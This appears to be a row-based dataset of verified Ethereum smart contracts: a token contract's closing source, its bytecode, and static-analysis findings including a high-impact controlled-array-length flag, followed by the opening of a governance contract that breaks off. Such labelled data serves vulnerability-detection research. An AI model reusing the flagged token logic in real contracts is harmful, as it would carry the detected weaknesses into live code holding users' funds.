balances[msg.sender] = balances[msg.sender].sub(total);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
if(balances[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
return true;
}
} | 0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610159578063095ea7b3146101e95780631249c58b1461024e57806318160ddd1461027d5780631e1b13c0146102a857806323b872dd146102d35780632a9edf6f146103585780632ab4d05214610385578063313ce567146103b057806342cbb15c146103db5780635b054f9b1461040657806370a08231146104315780637419f1901461048857806388d695b2146104b35780638da5cb5b1461057457806390762a8b146105cb57806395d89b41146105f85780639fd4da4014610688578063a9059cbb146106b3578063b2552fc414610718578063cbd8877e14610743578063cd474b041461076e578063dd62ed3e14610799578063e1c3bac614610810578063f2bb5ce11461083b578063f2fde38b14610866575b600080fd5b34801561016557600080fd5b5061016e6108a9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ae578082015181840152602081019050610193565b50505050905090810190601f1680156101db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f557600080fd5b50610234600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610947565b604051808215151515815260200191505060405180910390f35b34801561025a57600080fd5b50610263610ace565b604051808215151515815260200191505060405180910390f35b34801561028957600080fd5b50610292610e41565b6040518082815260200191505060405180910390f35b3480156102b457600080fd5b506102bd610e47565b6040518082815260200191505060405180910390f35b3480156102df57600080fd5b5061033e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e58565b604051808215151515815260200191505060405180910390f35b34801561036457600080fd5b5061038360048036038101908080359060200190929190505050611449565b005b34801561039157600080fd5b5061039a6114cf565b6040518082815260200191505060405180910390f35b3480156103bc57600080fd5b506103c56114d5565b6040518082815260200191505060405180910390f35b3480156103e757600080fd5b506103f06114db565b6040518082815260200191505060405180910390f35b34801561041257600080fd5b5061041b6114f7565b6040518082815260200191505060405180910390f35b34801561043d57600080fd5b50610472600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114fd565b6040518082815260200191505060405180910390f35b34801561049457600080fd5b5061049d611546565b6040518082815260200191505060405180910390f35b3480156104bf57600080fd5b5061055a600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929050505061154c565b604051808215151515815260200191505060405180910390f35b34801561058057600080fd5b50610589611bf1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105d757600080fd5b506105f660048036038101908080359060200190929190505050611c17565b005b34801561060457600080fd5b5061060d611f4e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561064d578082015181840152602081019050610632565b50505050905090810190601f16801561067a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561069457600080fd5b5061069d611fec565b6040518082815260200191505060405180910390f35b3480156106bf57600080fd5b506106fe600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ff2565b604051808215151515815260200191505060405180910390f35b34801561072457600080fd5b5061072d6124d5565b6040518082815260200191505060405180910390f35b34801561074f57600080fd5b50610758612589565b6040518082815260200191505060405180910390f35b34801561077a57600080fd5b5061078361258f565b6040518082815260200191505060405180910390f35b3480156107a557600080fd5b506107fa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612595565b6040518082815260200191505060405180910390f35b34801561081c57600080fd5b5061082561261c565b6040518082815260200191505060405180910390f35b34801561084757600080fd5b50610850612622565b6040518082815260200191505060405180910390f35b34801561087257600080fd5b506108a7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612628565b005b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561093f5780601f106109145761010080835404028352916020019161093f565b820191906000526020600020905b81548152906001019060200180831161092257829003601f168201915b505050505081565b6000808214806109d357506000601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156109de57600080fd5b81601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080600f54600e54101515610ae357600080fd5b6000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515610b355760009150610e3d565b6000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050111515610b8a5760009150610e3d565b610b9333612704565b9050600081111515610ba85760009150610e3d565b610bbd81600e5461281e90919063ffffffff16565b600e81905550610c1581601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281e90919063ffffffff16565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ca39190612b16565b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505050503373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885826040518082815260200191505060405180910390a2600191505b5090565b600e5481565b6000610e53334261283c565b905090565b6000806000606060048101600036905010151515610e7557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614151515610eb157600080fd5b601260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549250610f8285601160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae290919063ffffffff16565b601160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101785601160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281e90919063ffffffff16565b601160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061106d8584612ae290919063ffffffff16565b601260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a36000601360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905011156111e957601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006111e89190612b16565b5b429150601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280601160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280876fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050600193505050509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114a557600080fd5b6000600a54111580156114ba57506008548110155b15156114c557600080fd5b80600a8190555050565b600f5481565b60075481565b60006114f260095443612ae290919063ffffffff16565b905090565b60085481565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a5481565b6000806000806000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115b057600080fd5b600087511180156115c2575085518751145b15156115cd57600080fd5b60009350600092505b85518310156116185761160986848151811015156115f057fe5b906020019060200201518561281e90919063ffffffff16565b935082806001019350506115d6565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054841115151561166657600080fd5b429150600090505b8651811015611927576116f7868281518110151561168857fe5b90602001906020020151601160008a858151811015156116a457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281e90919063ffffffff16565b60116000898481518110151561170957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060136000888381518110151561176357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020604080519081016040528088848151811015156117c057fe5b906020019060200201516fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050868181518110151561189557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef88848151811015156118fb57fe5b906020019060200201516040518082815260200191505060405180910390a3808060010191505061166e565b61197984601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae290919063ffffffff16565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501115611a5357601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611a529190612b16565b5b6000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611be357601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505050505b600194505050505092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c7357600080fd5b600081111515611c8257600080fd5b611cd481601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae290919063ffffffff16565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611d629190612b16565b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050611ebe81600e54612ae290919063ffffffff16565b600e81905550611ed981601054612ae290919063ffffffff16565b601081905550611ef7600a8202600f54612ae290919063ffffffff16565b600f819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a250565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611fe45780601f10611fb957610100808354040283529160200191611fe4565b820191906000526020600020905b815481529060010190602001808311611fc757829003601f168201915b505050505081565b60105481565b60008060406004810160003690501015151561200d57600080fd5b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561205057612049610ace565b92506124cd565b6120a284601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae290919063ffffffff16565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061213784601160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281e90919063ffffffff16565b601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050111561227657601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006122759190612b16565b5b429150601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280866fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050600192505b505092915050565b600080429050600d549150600061250d6301e133806124ff600a5485612ae290919063ffffffff16565b612afb90919063ffffffff16565b14156125345761252d6064600d5461030202612afb90919063ffffffff16565b9150612585565b60016125616301e13380612553600a5485612ae290919063ffffffff16565b612afb90919063ffffffff16565b1415612584576125816064600d546101b302612afb90919063ffffffff16565b91505b5b5090565b600b5481565b60095481565b6000601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b600d5481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561268457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156126c057600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600080600a54421015801561271e57506000600a54115b151561272957600080fd5b429250612736858461283c565b915060008211151561274b5760009350612816565b600d549050600061277d6301e1338061276f600a5487612ae290919063ffffffff16565b612afb90919063ffffffff16565b14156127a45761279d6064600d5461030202612afb90919063ffffffff16565b90506127f5565b60016127d16301e133806127c3600a5487612ae290919063ffffffff16565b612afb90919063ffffffff16565b14156127f4576127f16064600d546101b302612afb90919063ffffffff16565b90505b5b612813600754600a0a61016d02828402612afb90919063ffffffff16565b93505b505050919050565b600080828401905083811015151561283257fe5b8091505092915050565b600080600080601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501115156128955760009250612ada565b600091505b601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050821015612ad957612970600b54601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110151561293657fe5b9060005260206000200160000160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1661281e90919063ffffffff16565b84101561297c57612acc565b612a06601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811015156129cb57fe5b9060005260206000200160000160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1685612ae290919063ffffffff16565b9050600c54811115612a1857600c5490505b612ac9612a316201518083612afb90919063ffffffff16565b601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002084815481101515612a7d57fe5b9060005260206000200160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16028461281e90919063ffffffff16565b92505b818060010192505061289a565b5b505092915050565b6000828211151515612af057fe5b818303905092915050565b6000808284811515612b0957fe5b0490508091505092915050565b5080546000825590600052602060002090810190612b349190612b37565b50565b612b9191905b80821115612b8d57600080820160006101000a8154906fffffffffffffffffffffffffffffffff02191690556000820160106101000a81549067ffffffffffffffff021916905550600101612b3d565b5090565b905600a165627a7a723058207cdb500fe7ec49958080a82e1e7bf78b6f2895118cb6d9c45a2b865cfaec2a910029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 943 |
0xBeCCB6bb0aa4ab551966A7E4B97cec74bb359Bf6 | pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
interface InvInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
function totalSupply() external view returns (uint256);
}
interface XinvInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
function totalSupply() external view returns (uint256);
function exchangeRateCurrent() external returns (uint);
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function setDelay(uint256 delay_) external;
function acceptAdmin() external;
function setPendingAdmin(address pendingAdmin_) external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta) external returns (bytes32);
function cancelTransaction(address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta) external;
function executeTransaction(address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta) external returns (bytes memory);
}
contract GovernorMills {
/// @notice The name of this contract
string public constant name = "Inverse Governor Mills";
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 20; } // 20 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the governance token A
InvInterface public inv;
/// @notice The address of the governance token B
XinvInterface public xinv;
/// @notice The total number of proposals
uint256 public proposalCount;
/// @notice The guardian
address public guardian;
/// @notice proposal threshold
uint256 public proposalThreshold = 1000 ether; // 1k INV
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
uint256 public quorumVotes = 4000 ether; // 4k INV
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice Addresses that can propose without voting power
mapping (address => bool) public proposerWhitelist;
/// @notice proposal id => xinv.exchangeRateCurrent
mapping (uint => uint) public xinvExchangeRates;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
/// @notice An event emitted when a new guardian has been set
event NewGuardian(address guardian);
/// @notice An event emitted when proposal threshold is updated
event ProposalThresholdUpdated(uint256 oldThreshold, uint256 newThreshold);
/// @notice An event emitted when proposal quorum is updated
event QuorumUpdated(uint256 oldQuorum, uint256 newQuorum);
/// @notice An event emitted when an address is added or removed from the proposer whitelist
event ProposerWhitelistUpdated(address proposer, bool value);
constructor(TimelockInterface timelock_, InvInterface inv_, XinvInterface xinv_) public {
timelock = timelock_;
inv = inv_;
xinv = xinv_;
guardian = msg.sender;
}
function _getPriorVotes(address _proposer, uint256 _blockNumber, uint256 _exchangeRate) internal view returns (uint96) {
uint96 invPriorVotes = inv.getPriorVotes(_proposer, _blockNumber);
uint96 xinvPriorVotes = uint96(
(
uint256(
xinv.getPriorVotes(_proposer, _blockNumber)
) * _exchangeRate
) / 1 ether
);
return add96(invPriorVotes, xinvPriorVotes);
}
function setGuardian(address _newGuardian) public {
require(msg.sender == guardian, "GovernorMills::setGuardian: only guardian");
guardian = _newGuardian;
emit NewGuardian(guardian);
}
/**
* @notice Add new pending admin to queue
* @param newPendingAdmin The new admin
* @param eta ETA
*/
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint256 eta) public {
require(msg.sender == guardian, "GovernorMills::__queueSetTimelockPendingAdmin: only guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint256 eta) public {
require(msg.sender == guardian, "GovernorMills::__executeSetTimelockPendingAdmin: only guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(_getPriorVotes(msg.sender, sub256(block.number, 1), xinv.exchangeRateCurrent()) > proposalThreshold || proposerWhitelist[msg.sender], "GovernorMills::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorMills::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorMills::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorMills::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorMills::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorMills::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
xinvExchangeRates[newProposal.id] = xinv.exchangeRateCurrent();
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorMills::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorMills::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public {
require(state(proposalId) == ProposalState.Queued, "GovernorMills::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorMills::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || (_getPriorVotes(proposal.proposer, sub256(block.number, 1), xinvExchangeRates[proposal.id]) < proposalThreshold && !proposerWhitelist[proposal.proposer]), "GovernorMills::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
/**
* @notice Update the threshold value required to create a new proposal.
* @param newThreshold The new threshold to set.
*/
function updateProposalThreshold(uint256 newThreshold) public {
